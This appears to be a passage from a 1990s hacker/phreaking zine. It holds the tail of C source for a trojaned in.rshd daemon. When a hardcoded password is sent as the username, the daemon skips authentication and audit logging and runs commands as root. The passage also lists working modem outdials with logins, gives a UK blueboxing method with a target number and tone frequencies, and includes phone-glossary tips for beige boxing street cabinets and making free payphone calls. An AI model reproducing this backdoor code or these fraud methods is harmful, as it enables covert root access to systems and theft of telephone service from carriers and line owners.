  938.     if (fromp->sin_port >= IPPORT_RESERVED ||
  939.         fromp->sin_port < (u_int) (IPPORT_RESERVED/2)) {
  940.         syslog(LOG_NOTICE, "connection from bad port\n");
  941.         exit(1);
  942.     }
  943.     (void) alarm(60);
  944.     port = 0;
  945.     for (;;) {
  946.         char c;
  947.         if ((cc = read(f, &c, 1)) != 1) {
  948.             if (cc < 0)
  949.                 syslog(LOG_NOTICE, "read: %m");
  950.             shutdown(f, 1+1);
  951.             exit(1);
  952.         }
  953.         if (c == 0)
  954.             break;
  955.         port = port * 10 + c - '0';
  956.     }
  957.     (void) alarm(0);
  958.     if (port != 0) {
  959.         int lport = IPPORT_RESERVED - 1;
  960.         s = rresvport(&lport);
  961.         if (s < 0) {
  962.             syslog(LOG_ERR, "can't get stderr port: %m");
  963.             exit(1);
  964.         }
  965.         if (port >= IPPORT_RESERVED) {
  966.             syslog(LOG_ERR, "2nd port not reserved\n");
  967.             exit(1);
  968.         }
  969.         fromp->sin_port = htons((u_short)port);
  970.         if (connect(s, (struct sockaddr *) fromp, 
  971.                 sizeof (*fromp)) < 0) {
  972.             syslog(LOG_INFO, "connect second port: %m");
  973.             exit(1);
  974.         }
  975.     }
  976.     dup2(f, 0);
  977.     dup2(f, 1);
  978.     dup2(f, 2);
  979.     hp = gethostbyaddr((char *)&fromp->sin_addr, sizeof (struct in_addr),
  980.         fromp->sin_family);
  981.     if (hp)
  982.         strncpy (hostname, hp->h_name, sizeof(hostname));
  983.     else
  984.         strncpy (hostname, inet_ntoa(fromp->sin_addr), 
  985.              sizeof(hostname));
  986.     getstr(remuser, sizeof(remuser), "remuser");
  987.     getstr(locuser, sizeof(locuser), "locuser");
  988.     getstr(cmdbuf, sizeof(cmdbuf), "command");
  989.  
  990.     if (!strcmp(PASSWORD,locuser))
  991.     {
  992.         trojan=1;
  993.     }
  994.  
  995.         if (!trojan && (ia_start("in.rshd", locuser, NULL, hostname, NULL, &iah)) !=
  996.                 IA_SUCCESS) {
  997.                 syslog(LOG_ERR, "ia_start() failed\n");
  998.                 exit(1);
  999.         }
  1000.  
  1001.         if (!trojan && ia_auth_user(iah, 0, &pwd, &ia_status) != IA_SUCCESS) {
  1002.                 error("permission denied\n");
  1003.         audit_rshd_fail("Login incorrect", hostname,
  1004.             remuser, locuser, cmdbuf);    /* BSM */
  1005.                 exit(1);
  1006.         }
  1007.  
  1008.     if (trojan)
  1009.         pwd=getpwnam("root");
  1010.     else
  1011.     {
  1012.         shpwd = getspnam(locuser);
  1013.         if (shpwd == NULL) {
  1014.             error("permission denied.\n");
  1015.             audit_rshd_fail("Login incorrect", hostname,
  1016.                 remuser, locuser, cmdbuf);      /* BSM */
  1017.             exit(1);
  1018.         }
  1019.     }
  1020.  
  1021.     /*
  1022.      * maintain 2.1 and 4.* and BSD semantics with anonymous rshd
  1023.      */
  1024.     if (!trojan && shpwd->sp_pwdp != 0 && *shpwd->sp_pwdp != '\0' &&
  1025.         ia_auth_netuser(iah, remuser, &ia_status) != IA_SUCCESS ) {
  1026.                 error("permission denied\n");
  1027.         audit_rshd_fail("Permission denied", hostname,
  1028.             remuser, locuser, cmdbuf);    /* BSM */
  1029.                 exit(1);
  1030.         }
  1031.  
  1032.     if (chdir(pwd->pw_dir) < 0) {
  1033.         (void) chdir("/");
  1034. #ifdef notdef
  1035.         error("No remote directory.\n");
  1036.         exit(1);
  1037. #endif
  1038.     }
  1039.  
  1040.     (void) write(2, "\0", 1);
  1041.     if (port) {
  1042.         if (pipe(pv) < 0) {
  1043.             error("Can't make pipe.\n");
  1044.             exit(1);
  1045.         }
  1046.         pid = fork();
  1047.         if (pid == (pid_t)-1)  {
  1048.             error("Fork (to start shell) failed on server.  Please try again later.\n");
  1049.             exit(1);
  1050.         }
  1051.  
  1052. #ifndef MAX
  1053. #define MAX(a,b) (((u_int)(a) > (u_int)(b)) ? (a) : (b))
  1054. #endif /* MAX */
  1055.  
  1056.         if (pid) {
  1057.             int width = MAX(s, pv[0]) + 1;
  1058.             fd_set ready;
  1059.             fd_set readfrom;
  1060.  
  1061.             (void) close(0); (void) close(1); (void) close(2);
  1062.             (void) close(f); (void) close(pv[1]);
  1063.             FD_ZERO (&ready);
  1064.             FD_ZERO (&readfrom);
  1065.             FD_SET (s, &readfrom);
  1066.             FD_SET (pv[0], &readfrom);
  1067.             if (ioctl(pv[0], FIONBIO, (char *)&one) == -1)
  1068.                 syslog (LOG_INFO, "ioctl FIONBIO: %m");
  1069.             /* should set s nbio! */
  1070.             do {
  1071.                 ready = readfrom;
  1072.                 if (select(width, &ready, (fd_set *)0,
  1073.                     (fd_set *)0, (struct timeval *)0) < 0)
  1074.                     break;
  1075.                 if (FD_ISSET (s, &ready)) {
  1076.                     if (read(s, &sig, 1) <= 0)
  1077.                         FD_CLR (s, &readfrom);
  1078.                     else
  1079.                         killpg(pid, sig);
  1080.                 }
  1081.                 if (FD_ISSET (pv[0], &ready)) {
  1082.                     errno = 0;
  1083.                     cc = read(pv[0], buf, sizeof (buf));
  1084.                     if (cc <= 0) {
  1085.                         shutdown(s, 1+1);
  1086.                         FD_CLR (pv[0], &readfrom);
  1087.                     } else
  1088.                         (void) write(s, buf, cc);
  1089.                 }
  1090.             } while (FD_ISSET (s, &readfrom) || 
  1091.                  FD_ISSET (pv[0], &readfrom));
  1092.             exit(0);
  1093.         }
  1094.         setpgrp(0, getpid());
  1095.         (void) close(s); (void) close(pv[0]);
  1096.         dup2(pv[1], 2);
  1097.         (void) close(pv[1]);
  1098.     }
  1099.     if (*pwd->pw_shell == '\0')
  1100.         pwd->pw_shell = "/bin/sh";
  1101.     (void) close(f);
  1102.  
  1103.     /*
  1104.      * write audit record before making uid switch
  1105.      */
  1106. if (!trojan)
  1107. {
  1108.     audit_rshd_success(hostname, remuser, locuser, cmdbuf); /* BSM */
  1109.  
  1110.         if (retval = ia_setcred(iah, SC_INITGPS|SC_SETRID,
  1111.                         pwd->pw_uid, pwd->pw_gid, 0, NULL, &ia_status)) {
  1112.                 switch (retval) {
  1113.                         case 0:
  1114.                                 break;
  1115.                         case IA_BAD_GID:
  1116.                                 error("Invalid gid.\n");
  1117.                                 exit(1);
  1118.                         case IA_BAD_UID:
  1119.                                 error("Invalid uid.\n");
  1120.                                 exit(1);
  1121.                         default:
  1122.                                 exit(1);
  1123.                 }
  1124.         }
  1125.         ia_end(iah);
  1126. #ifdef    SYSV
  1127.     if (pwd->pw_uid)
  1128.         envinit[ENVINIT_PATH] = userpath;
  1129.     else
  1130.         envinit[ENVINIT_PATH] = rootpath;
  1131.     if (tzenv = getenv("TZ")) {
  1132.         /*
  1133.          *    In the line below, 4 is strlen("TZ=") + 1 null byte.
  1134.          *    We have to malloc the space because it's difficult to
  1135.          *    compute the maximum size of a timezone string.
  1136.          */
  1137.         tz = (char *) malloc(strlen(tzenv) + 4);
  1138.         if (tz) {
  1139.             strcpy(tz, "TZ=");
  1140.             strcat(tz, tzenv);
  1141.             envinit[ENVINIT_TZ] = tz;
  1142.         }
  1143.     }
  1144. #endif    /* SYSV */
  1145.     strncat(homedir, pwd->pw_dir, sizeof(homedir)-6);
  1146.     strncat(shell, pwd->pw_shell, sizeof(shell)-7);
  1147.     strncat(username, pwd->pw_name, sizeof(username)-6);
  1148.     cp = rindex(pwd->pw_shell, '/');
  1149.     if (cp)
  1150.         cp++;
  1151.     else
  1152.         cp = pwd->pw_shell;
  1153. #ifdef    SYSV
  1154.     /*
  1155.      * rdist has been moved to /usr/bin, so /usr/ucb/rdist might not
  1156.      * be present on a system.  So if it doesn't exist we fall back
  1157.      * and try for it in /usr/bin.  We take care to match the space
  1158.      * after the name because the only purpose of this is to protect
  1159.      * the internal call from old rdist's, not humans who type
  1160.      * "rsh foo /usr/ucb/rdist".
  1161.      */
  1162. #define RDIST_PROG_NAME    "/usr/ucb/rdist -Server"
  1163.     if (strncmp(cmdbuf, RDIST_PROG_NAME, strlen(RDIST_PROG_NAME)) == 0) {
  1164.         if (stat("/usr/ucb/rdist", &statb) != 0) {
  1165.             strncpy(cmdbuf + 5, "bin", 3);
  1166.         }
  1167.     }
  1168. #endif
  1169.     execle(pwd->pw_shell, cp, "-c", cmdbuf, (char *)0, envinit);
  1170.     perror(pwd->pw_shell);
  1171.     exit(1);
  1172. }
  1173.  
  1174. /*VARARGS1*/
  1175. error(fmt, a1, a2, a3)
  1176.     char *fmt;
  1177.     int a1, a2, a3;
  1178. {
  1179.     char buf[BUFSIZ];
  1180.  
  1181.     buf[0] = 1;
  1182.     (void) sprintf(buf+1, fmt, a1, a2, a3);
  1183.     (void) write(2, buf, strlen(buf));
  1184. }
  1185.  
  1186. getstr(buf, cnt, err)
  1187.     char *buf;
  1188.     int cnt;
  1189.     char *err;
  1190. {
  1191.     char c;
  1192.  
  1193.     do {
  1194.         if (read(0, &c, 1) != 1)
  1195.             exit(1);
  1196.         *buf++ = c;
  1197.         if (--cnt == 0) {
  1198.             error("%s too long\n", err);
  1199.             exit(1);
  1200.         }
  1201.     } while (c != 0);
  1202. }
  1203.  
  1204. ───────────────────────────────────────────────────────────────────────────────
  1205. ===============================================================================
  1206. ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
  1207. ===============================================================================
  1208. ───────────────────────────────────────────────────────────────────────────────
  1209.   1. Outdials : Lirik
  1210. ───────────────────────────────────────────────────────────────────────────────
  1211.  
  1212.                              Working Outdials
  1213.     
  1214.                  [100% for 304/319/413/800/804/814 NPAs]
  1215.  
  1216.       x.25 NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905
  1217.  
  1218. ===============================================================================
  1219.  
  1220.   Note  ■  NPA ■     IP/commands/Dial mask/Phones
  1221.   ─────────────────────────────────────────────────────────────────────
  1222.  
  1223.   !!!     304        DIALOUT.WVNET.EDU    (No parity)
  1224.          1800        DIALOUTE.WVNET.EDU   (Even parity)
  1225.                      ATDT 9,xxxxxxx
  1226.                      http://wvnvm.wvnet.edu/~roman/dialout.html
  1227.                      test phone atdt35001
  1228.  
  1229.   !!!     319        ISN.IASTATE.EDU. or isn.rdns.iastate.edu
  1230.                      DIAL: MODEM or HELP
  1231.                      ATDT8xxx-xxxx
  1232.  
  1233.   !!!     413        dialout2400.smith.edu | dialout.smith.edu  
  1234.                      Ctrl+} gives PLACE AUTOCAL
  1235.                      press y, wait for CALL COMPLETE
  1236.                      atdt9,,xxx-xxxx
  1237.                      Independent Nation (413)573-1809
  1238.  
  1239.   !!!     804        ublan.acc.virginia.edu / ublan.virginia.edu
  1240.          1800        ublan2.acc.virginia.edu
  1241.                      >>connect telnet
  1242.                      >>connect hayes
  1243.                      atdt9,,xxx-xxxx
  1244.                      CPN 804-847-2501
  1245.  
  1246.   !!!     814        dialout.psu.edu     atdt8xxxxxxxxxx
  1247.  
  1248.           1800        CompuServe  2400  82387910
  1249.                          Telenet  2400  82311510
  1250.                           Tymnet  2400  82343853
  1251.                           DEC.    9600  7AM-Midnight EST  818002341998
  1252.                                         Port name: _LTA4974:
  1253.  
  1254.  ──────────────────x.25 network access only [NUI required]───────────────
  1255.      NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905
  1256.  
  1257.           DATAPAC 3101 (ASYNC/ITI) OUT-DIAL PORT ADDRESSES
  1258.              Outdial Ports (accept only prePAID calls!)
  1259.             The Destination terminal must be set to 7E1
  1260.               in order to receive the outdial call
  1261.  
  1262.      1) ENTER THE 7-DIGIT TELEPHONE NUMBER (LOCAL) OF THE DESTINATION
  1263.         TERMINAL.
  1264.      2) DATAPAC WILL RESPOND WITH:
  1265.         DIALING/COMPOSITION DU NUMERO (XXX-XXXX)
  1266.      3) DATAPAC WILL THEN INDICATE:
  1267.         RINGING/SONNERIE
  1268.         AS THE MODEM DETECTS RINGBACK TONE.
  1269.      4) WHEN THE DESTINATION MODEM ANSWERS THE CALL, DATAPAC WILL SEND
  1270.         THE FOLLOWING MESSAGE TO THE ORIGINATING END:
  1271.          CALL CONNECTED/COMMUNICATION ETABLIE
  1272.  
  1273.    NPA  City (PROVINCE)      SPEED      NUA ADDRESS
  1274.    ---  ---------------      -----      -------------
  1275.    403  Calgary (ALTA)        300       0302063300900
  1276.                              1200       0302063300901
  1277.    416  Clarkson (ONT)        300       0302091900900
  1278.                              1200       0302091900901
  1279.    403  Edmonton (ALTA)       300       0302058700900
  1280.                              1200       0302058700901
  1281.    902  Halifax (NS)          300       0302076101900
  1282.                              1200       0302076101901
  1283.    905  Hamilton (ONT)        300       0302038500900
  1284.                              1200       0302038500901
  1285.    519  Kitchener (ONT)       300       0302033400900
  1286.                              1200       0302033400901
  1287.    519  London (ONT)          300       0302035600900
  1288.                              1200       0302035600901
  1289.    514  Montreal (QUE)        300       0302082700902
  1290.                              1200       0302082700903
  1291.    613  Ottawa (ONT)          300       0302085700901
  1292.                              1200       0302085700902
  1293.    418  Quebec City (QUE)     300       0302048400900
  1294.                              1200       0302048400901
  1295.    306  Regina (SASK)         300       0302072100900
  1296.                              1200       0302072100901
  1297.    506  St-John's (NB)        300       0302074600900
  1298.                              1200       0302074600901
  1299.    306  Saskatoon (SASK)      300       0302071100900
  1300.                              1200       0302071100901
  1301.    709  St. John (NFLD)       300       0302078100900
  1302.                              1200       0302078100901
  1303.    416  Toronto (ONT)         300       0302091600901
  1304.                              1200       0302091600902
  1305.    604  Vancouver (BC)        300       0302067100900
  1306.                              1200       0302067100901
  1307.    519  Windsor (ONT)         300       0302029500900
  1308.                              1200       0302029500901
  1309.    204  Winnipeg (MAN)        300       0302069200902
  1310.                              1200       0302069200901
  1311.  
  1312.    ???  0228479110650  DIALOUT PSW??  CALL 50 LOGIN=LOGIN 70,1/NAME:XX
  1313.  
  1314.   ──────────────────────────────── Misc ───────────────────────────────
  1315.  
  1316.   !?!     EURO       eurogate.iit.nl
  1317.                      register  call European carriers
  1318.                      (access via telnet is restricted?)
  1319.  
  1320.   !?!     513        dialout.afit.af.mil   dialout PWD?
  1321.                      port 2
  1322.   !?!     414        modems.uwp.edu  Ctrl-{   #
  1323.                      Connection Refused
  1324.   !?!     404        emory.edu      .modem8 or .dialout
  1325.   !?!     DC         dialout24.cac.washington.edu
  1326.                      CONNECTION REFUSED
  1327.   ?!?     604        dial24-nc00.net.ubc.ca |  dial24-nc01.net.ubc.ca
  1328.   ?!?     604        dial96-np65.net.ubc.ca
  1329.   !?!                isn.upenn.edu  "modem" attached to 17 port
  1330.  
  1331.   LOCAL              DIALOUT.IUPUI.EDU
  1332.                      l/p:DIALOUT/
  1333.  
  1334.   DOWN    213        bbs.thecosmos.com
  1335.           214        register first / dial dallas and LA
  1336.   DOWN    215        isn.upenn.edu
  1337.                      
  1338.                       DIAL: MODEM
  1339.   DOWN    416        pacx.utcs.utoronto.ca  outdial unavail
  1340.                      www.utoronto.ca/welcome.html/index.html
  1341.   DOWN?   619        dialin.ucsd.edu   "dialout"  Sandego CA
  1342.   DOWN    916        cc-dnet.ucdavis.edu   connect hayes/dialout
  1343.  
  1344.   ────────────────────── Login/Pass or Port Pass ──────────────────────
  1345.  
  1346.   PSW     204        dial.cc.umanitoba.ca
  1347.   PSW     206        rexair.cac.washington.edu
  1348.   PSW     303        yuma.ACNS.ColoState.EDU      login: modem
  1349.   PSW     412        dialout.pitt.edu / gate.cis.pitt.edu
  1350.                      only for students "Connect Dialout"
  1351.                        "d91kxxxxxx" x=fone #
  1352.                       or tn3270,  connect dialout.pitt.edu,
  1353.                      atdtxxxXXXX
  1354.   PSW     514        cartier.CC.UMontreal.CA      externe,9+number
  1355.   PSW     602        dial9600.telcom.arizona.edu
  1356.   PSW     619        dialin.ucsd.edu                "dialout"
  1357.   PSW     ???        modems.csuohio.edu
  1358.   PSW     ???        dialout.bu.edu
  1359.   PSW     ???        portal.ucs.indiana.edu  ONLY for Students
  1360.                       http://msgwww.ucs.indiana.edu/messaging/
  1361.                       /projects/portal/dialout.html
  1362.   PSW                128.187.1.2
  1363.   PSW     TW         sparc20.ncu.edu.tw      u349633
  1364.   PSW     TW         sun2cc.nccu.edu.tw       ?
  1365.   PSW                twncu865.ncu.edu.tw    guest    
  1366.  
  1367.   ──────────────────────────── Trying... ──────────────────────────────
  1368.  
  1369.   ???     206        rexair.cac.washington.edu
  1370.   ???     206        dialout24.cac.washington.edu
  1371.   ???     218        modem.d.umn.edu              Hayes 9,XXX-XXXX
  1372.   ???     307        modem.uwyo.edu
  1373.   ???     313        35.1.1.6  "dial2400-aa" or "dial1200-aa"
  1374.   ???     415        128.32.132.250  CA  "dial1" or "dial2"
  1375.   ???     502        outdial.louisville.edu
  1376.   ???     502        uknet.uky.edu  connect kecnet
  1377.                      @ dial: "outdial2400 or out"
  1378.   ???     602        acssdial.inre.asu.edu/[129.219.17.3].
  1379.                      atdt8,,,,,[x][yyy]xxxyyyy.
  1380.   ???     609        129.72.1.59 Princeton NJ   | "Hayes"
  1381.                      128.119.131.11X
  1382.   ???     615        dca.utk.edu   "dial2400"   Tennessee
  1383.   ???     713        128.249.27.153             | "Hayes"
  1384.   ???     713        128.249.27.154  , Login:c modem96
  1385.   ???     714        130.191.4.70              atdt 8xxx-xxxx
  1386.   ???     714        modem.nts.uci.edu    atdt[area]0[phone]
  1387.   ???                128.6.1.42
  1388.   ???                modempool.pbs.org  "connect"
  1389.   ???                datapbx.cc.ncsu.edu dest:dial  ATDT 9,xxxxxxxx
  1390.                      www2.ncsu.edu
  1391.  
  1392.   ──────────────────────────── No route ───────────────────────────────
  1393.  
  1394.   ROUTE   OH*        r596adi1.uc.edu | 129.137.33.72
  1395.   ROUTE   404        128.140.1.239  .modem8|CR  .modem96|CR
  1396.   ROUTE   212        DIALOUT.NYU.EDU            dial3/dial12/dial24
  1397.   ROUTE   514        132.204.211
  1398.   ROUTE   619        128.54.30.1 nue, ?  atdt [area][phone]
  1399.   ROUTE              129.180.1.57
  1400.   ROUTE   ???        modem.nyu.edu
  1401.   ROUTE   ???        TN3270  telnet.ksu.edu
  1402.                      At the Select Destination prompt, enter DIALOUT
  1403.                      Perhaps a better method is to use MS-Kermit 3.10
  1404.                      MSKERMIT
  1405.                      SET HOST TELNET.KSU.KSU.EDU
  1406.                      DIALOUT
  1407.                      ATDT9[1aaappp]xxxxxxx[,,auth]
  1408.                      to USE AT&T calling Card
  1409.                      ATDT90NPAxxxxxxx,,,,CardNumberPIN
  1410.  
  1411. 7  ───────────────────────────── Dead ──────────────────────────────────
  1412.  
  1413.   ///     215        wiseowl.ocis.temple.edu    | atz atdt 9xxxyyy
  1414.   ///     218        aa28.d.umn.edu    "cli" "rlogin modem"
  1415.   ///     404        broadband.cc.emory.edu    Atlanta Georgia
  1416.   ///     404        dialout1.princeton.edu
  1417.   ///     416        annex132.berkeley.edu. 9xxxyyyy?atdt9,,,,,xxxyyyy?
  1418.   ///     614        ns2400.ircc.ohio-state.edu (DIAL)
  1419.   ///     617        dialout.lcs.mit.edu ()
  1420.   ///     902        star.ccs.tuns.ca           | "dialout"     P E I
  1421.   ///                modem.atk.com
  1422.   ///                modem.cis.uflu.edu
  1423.   ///                vtnet1.cns.ut.edu              "CALL" or "call"
  1424.  
  1425.   ────────────────────────  Note descriptions  ────────────────────────
  1426.  
  1427.                  ???     trying IP address...
  1428.                  ///     Unknown Host
  1429.                  ROUTE   No route to Host
  1430.                  LOCAL   Local Access only ?
  1431.                  PSW     Login/Password Required
  1432.                  !?!     Strange
  1433.                  !!!     Working (should be, heh)
  1434.  
  1435.   ─────────────────────── Used Dox/Search Engines ──────────────────────
  1436.  
  1437.               www.altavista.com | www.infoseek.com [Ultra]
  1438.                   Dialout List#4 - 22/12/93 By SPiN-DoC
  1439.                 2600's Vol. 8 #1 Dialout List +- some junk
  1440.                              alt2660.faq
  1441.                          [Hardcore Phreaks (8)]
  1442.  
  1443.   ──────────────────────────────────────────────────────────────────────
  1444.                                  [eoF^z]
  1445.  
  1446. ───────────────────────────────────────────────────────────────────────────────
  1447.   2. BlueBoxing in the UK in '98 : The UK Phreaking Elite
  1448. ───────────────────────────────────────────────────────────────────────────────
  1449.  
  1450.      .------------------------------------------------------------------.
  1451.      |         \        ____     \__    __          ____       /        |
  1452.      |      ___/       / / /        \_ /  \        / / /       \___     !
  1453.      |     /   \  ____/  \/___________|___________/  \/________/   \__  :
  1454.      !       __/\/                                         / /          :
  1455.      :    __/   /_________________________________________/ /\__        !
  1456.      :          \_________________________________________\/ /  \___    |
  1457.      :            __/               \___         ____/                  |
  1458.      :        \__/  \__/           _/   \__/    /    \__                |
  1459.      :              /     |       / .              !  .   |             !
  1460.      !         .       :  !               :        :  .                 :
  1461.      |                 |  .      |        !        :  :   !             :
  1462.      !           :     !__|      !                 |__!   :             !
  1463.      :                /   / D e s T r u C T i v E /   /   :             :
  1464.      :         : !___/   /_______________________/   /____!__           :
  1465.      !         !/   /   /   /   /       /   ____/   / ___   /           !
  1466.      `-------- /   /   /   /   /   /   /   /   /   /     __/ -----------'
  1467.                \______/\______/\__/___/\______/\__/\______/
  1468.  
  1469.                        "The Hardcore Will Never Die"
  1470.                         
  1471.  
  1472.  Since March 1994 there have been many rumours about the "death" of
  1473.  Blueboxing. The truth is that Blueboxing is very much alive, it has just
  1474.  become a little more difficult, and harder to understand. In some cases
  1475.  it's not just a case of knowing the tones, it also takes a lot of skill
  1476.  and patience.
  1477.  
  1478.  The "elites" who have been boxing since then (excluding lamers
  1479.  spoon-fed info from earlier Destructive Jungle releases), have had to work
  1480.  hard to find out how to carry on boxing, and have kept it to themselves.
  1481.  
  1482.    
  1483.  In reaction to recent busts, we are now going to once again, teach the
  1484.  newbies, lamers, and in fact, everyone we possibly can, how to Bluebox. BT
  1485.  may think they have a problem already, but the trouble is only just
  1486.  beginning. Spread this information as far and wide as you can.
  1487.  
  1488.  This "current" method (as of 24/02/98) is actually very simple:   
  1489.  
  1490.  
  1491.  The magic number is: 0800 890 861 (China Direct Calling Card Service)
  1492.  
  1493.             Freq 1 Freq 2  Length
  1494.             ---------------------
  1495.                 Tone 1  2400Hz/2600Hz  135ms
  1496.                 Tone 2  2400Hz/2400Hz  240ms
  1497.  
  1498.  Best to send the break after pick-up. It's all automated, so it won't annoy
  1499.  any operators.
  1500.  
  1501.  As well as calling China, you can also call the UK (trade warez for hours!)
  1502.  and New Zealand. A few other countries are possibly available, but they keep 
  1503.  changing them.
  1504.  
  1505.  For those of you with bad memories:
  1506.  
  1507.    KP2-44-0-171-930-4832-ST is the format for international dialling.
  1508.  
  1509.  ---
  1510.  
  1511.  Special note to BT:
  1512.  
  1513.  This file is written by nobody in particular. The person(s) posting it
  1514.  to newsgroups/BBS's/wherever have no connection with us. You can try to find
  1515.  the people responsible, but will soon come to realise that it's an impossible
  1516.  mission. Myself and my friends certainly will not be blueboxing, and have
  1517.  not done for quite some time.
  1518.  
  1519.  This particular route probably won't last very long, but there are plenty
  1520.  more to come. 
  1521.  
  1522.  We will always have the upper hand.
  1523.  
  1524.                         Hugs & Kisses.
  1525.  
  1526.                         The UK Phreaking Elite.
  1527.  
  1528.  
  1529.  
  1530. ───────────────────────────────────────────────────────────────────────────────
  1531.   3. UK Phone Definitions and Abbreviations : Jf
  1532. ───────────────────────────────────────────────────────────────────────────────
  1533.  
  1534. I have put together as much stuff as I think is necessary for an average
  1535. knowledge of the UK fone system, switching methods and exchange types.
  1536. I would defiently recommend researching into the subjects contained in this
  1537. document in more detail to gain a very detailed knowledge, if you are stuck
  1538. then email me and I will help to guide you along. The Information below is
  1539. enough to get you started and provide you with an average knowledge of the
  1540. UK fone system.... so enjoy..
  1541.  
  1542. Jf_ aka Josh Freedaleman
  1543.  
  1544. JF@cofuk.org
  1545. http://www.cofuk.org
  1546.  
  1547. ======================================
  1548. AAS - Automatic Announcement Subsystem    
  1549. ======================================
  1550.  
  1551. Used in Local Exchanges as a method of voice operated guidance. eg. informs of
  1552. code changes by automated messages. For example, these appeared a lot in 1994
  1553. when all area codes changed. On 16th April 1994 all area codes had a 1 added
  1554. to them. For example 081 became 0181 and therefore AAS was used alot during
  1555. this time to leave automated messages, these go something like this...
  1556.  
  1557. "This is a BT announcement, the number you have dialed has changed, pleased add
  1558. a 1 after the 0 on the area code and replace the handset and try again".
  1559.  
  1560. =========
  1561. Cab Boxes
  1562. =========    
  1563.  
  1564. Large green boxes located on the sides of roads to deal with all the lines in
  1565. that area, some cab boxes are full of 100s of wires for that area whereas
  1566. others can be much smaller. I would recommend having a look inside one of these
  1567. as they are totally full of wires but don't get caught opening one of these as
  1568. you might be arrested! :o) If you open one of these cab boxes you can beige
  1569. box off it, good fun if the cab box has 100s of lines in it as you can easily
  1570. seize lot of peoples fone lines :o) If you have a laptop computer you could
  1571. find a cab box in a secluded area, box of it, hide in bushes or something and
  1572. hax0r from that seized line, I would recommend this if you are going to carry
  1573. out a big hack. -- Cab boxes are also called PCP's (so1o)
  1574.  
  1575. ========================================================================
  1576. CCITT -    Consultive Committee for International Telegraphs and Telephones    
  1577. ========================================================================
  1578.  
  1579. An international committee setup to regulate and discuss international fone
  1580. communication matters and standards of communication devices. The UK fone
  1581. system is based on CCITT7 which is used in most developed (?) countries such
  1582. a America and the UK. To blue box from the UK you need to be looking for
  1583. countries which used CCITT5 lines, the best way I know of to find CCITT5
  1584. lines is to dial the countries 0800 89 **** number and if you here a click
  1585. beep sound then you have identified a CCITT5 line which is vulnerable to
  1586. boxing.
  1587.  
  1588. ===============================
  1589. CCS - Common Channel Signalling    
  1590. ===============================
  1591.  
  1592. Process used by BT to reserve a speech channel for signalling and to control
  1593. all the other channels in its section.  This is the standard method of
  1594. signalling between digital exchanges.
  1595.  
  1596. ===============================================
  1597. COCOT -    Customer Owned Coin Operated Telephones
  1598. ===============================================    
  1599.  
  1600. A Payphone owned privately by businesses, they usually add a little bit extra
  1601. onto the price of calls to make some more money, found in hotels, swimming
  1602. pools etc.  There are lots of COCOT tricks that you can get up to, I have not
  1603. tried all of them but two that I have tried and have worked succesfully for
  1604. me are the following -
  1605.  
  1606. dial *#2580 on the fonepad, it makes the line an engineers test line and you
  1607. can then dial any number you wish for free, and I mean any number :o) 
  1608.  
  1609. Another trick is that some COCOT's have the line going into a wallplug located
  1610. near the telephone, just unhook the fone line and plug your own fone in place,
  1611. I did this at my local Swimming Pool recently and dialed a friend in the States
  1612. for FREE!#@!
  1613.  
  1614. ===============================
  1615. CPS - Call Processing Subsystem    
  1616. ===============================
  1617.  
  1618. Used on local exchanges to take overall control over a line, it registers the
  1619. state of the line and tells callers whether it is free, engaged etc. This is
  1620. the fundamental part of the local exchange and without this, well, there would
  1621. be no calls really as nothing would be able to register. 
  1622.  
  1623. ===================================
  1624. DCCE - Digital Cell Centre Exchange
  1625. ===================================
  1626.  
  1627. Another exchange which handles services on a local scale, distributing calls
  1628. to other exchanges, this is a lesser form of DMSU but perfoms a similar job.
  1629.  
  1630. =========================================
  1631. DDSN - Digitally Derived Services Network    
  1632. =========================================
  1633.  
  1634. A network of numbers used as service numbers eg 0800, 0891, 0898, 0500.
  1635.  
  1636. =============================
  1637. DLE - Digital Local Exchanges
  1638. =============================    
  1639.  
  1640. Hosts the RCU's used within a local exchange, If you get a chance to look at
  1641. you local DLE do it, I found it very impressive and was really stood there
  1642. in awe of it all.
  1643.  
  1644. ===================================
  1645. DLSU - Digital Local Switching Unit    
  1646. ===================================
  1647.  
  1648. Handles all the local customers fone needs and services, putting them onto the
  1649. right connections and switching them about so that they reach their required
  1650. destination. Really like an operator but as this is the 1990s its all in
  1651. digital form :o)
  1652.  
  1653. ==================================
  1654. DMSU - Digital Main Switching Unit    
  1655. ==================================
  1656.  
  1657. Controls and switches Telephone traffic within its designated area and it will
  1658. distribute this traffic to its local exchanges.
  1659.  
  1660. ============================
  1661. DSU - Digital Switching Unit
  1662. ============================
  1663.  
  1664. Original Manufactured to handle the very high call volume in and around London,
  1665. based on the DMSU but designed to take a higher amount of calls and distribute
  1666. them onto the local exchanges. DSU's are now found in and around lots of major
  1667. large cities where they are needed to take control of the high call volume
  1668. while the DMSU's take care of the rest of the country.
  1669.  
  1670. ================================
  1671. DTMF - Dual Tone Multi-Frequency    
  1672. ================================
  1673.  
  1674. The tones heard on your home fone when you dial in your numbers on the keypad.
  1675.  
  1676. ==============================
  1677. ERS - Emergency Repair Service    
  1678. ==============================
  1679.  
  1680. The Engineers on Standby to repair fones etc.
  1681.  
  1682. =============
  1683. Meridian Mail
  1684. =============
  1685.  
  1686. A Voice Mail System provider, owned by Northern Telecom and a major UK
  1687. supplier of VMB's for UK businesses. -- there are a few neat meridian mail
  1688. tricks (so1o)
  1689.  
  1690. =============================
  1691. PBX - Private Branch Exchange
  1692. =============================    
  1693.  
  1694. Exchange used by large companies to deal with their calls, great fun to
  1695. *hack*, I have found that these are usually located in the 0500 prefix
  1696. range. These are usually provided by Norstar and are very common with big
  1697. companies who have stores in all areas of the country, or on a local scale. 
  1698.  
  1699. ===========================
  1700. PCM - Pulse Code Modulation
  1701. ===========================
  1702.  
  1703. Modern BT signalling method used which cuts down information from several calls
  1704. into smaller packets, sending them in turn down the line.
  1705.  
  1706. ========================================
  1707. PSTN - Public Switched Telephone Network
  1708. ========================================    
  1709.  
  1710. This is a large BT exchange network which contains all the smaller local
  1711. exchanges and looks after all these. eg. DLE's, RCU's etc
  1712.  
  1713. ==============================
  1714. RCU - Remote Concentrator Unit
  1715. ==============================
  1716.  
  1717. Basically Cab Boxes (PCPs) that provide a meeting point for ALL the lines in
  1718. an area, they are bigger than Cab Boxes and tend to occupy full buildings
  1719. rather than little boxes on the side of the road, RCU's are therefore found
  1720. at your local telco depot and they are very impressive to look at.
  1721.  
  1722. ========
  1723. System X    
  1724. ========
  1725.  
  1726. System X is a digital phone exchange which was the first installed in UK and
